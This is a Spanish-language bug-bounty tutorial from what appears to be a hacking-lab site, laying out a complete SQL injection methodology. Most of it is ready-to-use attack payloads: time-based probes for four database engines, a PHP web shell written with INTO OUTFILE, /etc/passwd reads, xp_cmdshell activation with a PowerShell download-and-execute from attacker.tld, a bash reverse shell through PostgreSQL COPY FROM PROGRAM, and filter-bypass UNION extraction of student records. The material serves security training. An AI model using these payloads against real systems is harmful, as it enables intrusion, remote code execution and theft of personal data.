Nuevos labs cada semana — Accede a todos desde 5€/mes

Nivel IntermedioGratis

SQL Injection — metodología completa con time-based, UNION y RCE

Detección por isomorphic queries, payloads time-based para 4 motores, escalación a RCE (xp_cmdshell, INTO OUTFILE, UDFs) y bypasses cross-field.

Gorka El Bochi9 de mayo de 202614 min

Respuesta rápida

SQLi sigue activo en 2026 — mucho menos común en SaaS modernos pero abundante en apps legacy, panels de admin y campos cross-validados parcialmente. La metodología es: detectar (isomorphic queries) → confirmar (time-based en el motor identificado) → extraer (UNION o boolean-based) → escalar (RCE via OUTFILE, xp_cmdshell o UDFs). Bounties típicos: €1.000-€5.000+ según severidad.


Detección — isomorphic queries

Antes de payloads agresivos, prueba inputs equivalentes que solo dan el mismo resultado si la query se ejecuta:

ContextoTest ATest B (isomorphic)Signal
Numéricoid=1id=2-1Aritmética se ejecuta
Numéricoid=1id=1+''Concat string se ejecuta
LIKEq=Bigq=Big%%Wildcard % no escapado
Stringname=Bigname=Big' 'Quote no escapado

Doble % exitoso revela contexto LIKE (no WHERE =). Más ligero, menos detección WAF, identifica el contexto exacto antes de tirar payloads.


Time-based payloads por motor

MySQL

sql
' AND SLEEP(5)-- -
" AND SLEEP(5)-- -
') AND SLEEP(5)-- -
' AND (SELECT SLEEP(5))-- -
1 AND SLEEP(5)-- -
' OR SLEEP(5)-- -
' AND BENCHMARK(10000000,SHA1('test'))-- -

MSSQL

sql
'; WAITFOR DELAY '0:0:5'-- -
"; WAITFOR DELAY '0:0:5'-- -
'); WAITFOR DELAY '0:0:5'-- -
1; WAITFOR DELAY '0:0:5'-- -

PostgreSQL

sql
'; SELECT pg_sleep(5)-- -
' AND (SELECT pg_sleep(5))-- -
1; SELECT pg_sleep(5)-- -
' || pg_sleep(5)-- -

SQLite

sql
' AND 1=RANDOMBLOB(500000000)-- -
" AND 1=RANDOMBLOB(500000000)-- -
') AND 1=RANDOMBLOB(500000000)-- -

Mide la latencia: 200ms → 5+s confirma ejecución. Repite 3 veces para descartar falso positivo por jitter de red.


Identificación del motor

Después de confirmar SQLi, identifica:

TestSi responde rápidoEngine
version()stringMySQL/PostgreSQL
@@versionMSSQL versionMSSQL
sqlite_version()"3.x"SQLite
' UNION SELECT @@version-- string en respuestaMySQL/MSSQL
' AND 1=1::int--OKPostgreSQL

Identificación precisa del motor desbloquea los payloads correctos.


SQL → RCE

Cuando consigues SQLi en un endpoint con permisos suficientes, es RCE en el server. Por motor:

MySQL — INTO OUTFILE web shell

sql
' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'-- -

Requisitos: privilegio FILE, conocer un path escribible servido por el web server.

MySQL — LOAD_FILE

sql
' UNION SELECT LOAD_FILE('/etc/passwd')-- -
' UNION SELECT LOAD_FILE(0x2f6574632f706173737764)-- -   # hex bypass de filtros

MSSQL — xp_cmdshell

sql
'; EXEC xp_cmdshell 'whoami'-- -
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;-- -
'; EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://attacker.tld/shell.ps1'')"'-- -

Si xp_cmdshell está deshabilitado, suele bastar reconfigurar (algunos accounts SQL tienen permisos de sp_configure).

PostgreSQL — COPY FROM PROGRAM

sql
'; CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'whoami';-- -

'; COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/attacker.tld/4444 0>&1"';-- -

PostgreSQL — UDF C

sql
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('whoami');

Requiere permisos altos (SUPERUSER).


Bypass cross-field — el caso del enrollment

Cuando los filtros se aplican parcialmente en campos diferentes:

  • Campo A (enrollmentNumber): enforce longitud exacta de 6 caracteres.
  • Campo B (nationalId): eliminan comillas simples y dobles.
scss
enrollmentNumber = 'OR ''            (6 chars exactos, satisface length)
nationalId      = =2 UNION SELECT CONCAT(...)-- -    (sin comillas, pasa quote filter)

La query original:

sql
WHERE a.enrollmentNumber = '$enrollmentNumber'
  AND a.nationalId = '$nationalId'

Con la inyección:

sql
WHERE a.enrollmentNumber='' OR ''' AND a.nationalId='=2 UNION SELECT...-- -'
  1. enrollmentNumber='' → false.
  2. OR ''' → cierra y reabre comillas, convierte AND a.nationalId=' en string.
  3. El contenido del nationalId (sin comillas) se ejecuta como SQL.

UNION sin comillas usando CHAR():

sql
=2 UNION SELECT CONCAT(STUDENTID, CHAR(32), STUDENTNAME, CHAR(32), NATIONALID, CHAR(32), EMAIL) FROM STUDENT WHERE STUDENTID = 10425-- -

Patrón a buscar: apps con múltiples campos donde cada uno tiene validaciones diferentes. Los filtros parciales en campos separados se combinan para bypass completo.


PostgreSQL double-dash injection

Caso curioso: parámetro numérico negativo en operación aritmética.

sql
SELECT balance - ? FROM accounts   -- con param = -1
-- Interpola a: SELECT balance --1 FROM accounts
-- PostgreSQL trata "--1" como line comment (MySQL requiere whitespace después de --)

Requisitos:

  • PostgreSQL (no MySQL/SQLite).
  • Simple query protocol (no extended/prepared statements).
  • Parámetro numérico en contexto aritmético (balance - ?).

Escalación con multi-line string + newline en otro parámetro rompe el comment y permite inyectar SQL arbitrario.

Fix correcto: envolver negativos en paréntesis (-42).


Metodología de hunting

less
[ ] Identificar todos los endpoints con parámetros numéricos
[ ] Aplicar isomorphic queries para detectar primer signal
[ ] Confirmar con time-based del motor identificado
[ ] Extracción mínima (database name, version)
[ ] Decisión: ¿UNION-based, boolean-based, time-based?
[ ] Si privileges altos: probar RCE (OUTFILE/xp_cmdshell/COPY FROM PROGRAM)
[ ] Documentar PoC completo con request + response visible

Burp + sqlmap útil para automatizar partes, pero manual primero para identificar el contexto.


Hunting checklist

  • ¿Hay endpoints donde el ID viaja en URL/body sin parametrización clara?
  • ¿La app tiene admin panels o legacy modules con SQL directo?
  • ¿Los errores son verbose con stack traces de DB?
  • ¿Búsquedas con LIKE (q=)? Probar wildcards y comillas.
  • ¿Parámetros numéricos en operaciones aritméticas? (postgres double-dash).
  • ¿Múltiples campos con validaciones distintas? → cross-field bypass.

Labs relacionados

Practica time-based, UNION extraction y SQLi → RCE en apps con cuatro motores: labs de SQL Injection.

Practica esto en un lab

Sqli

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados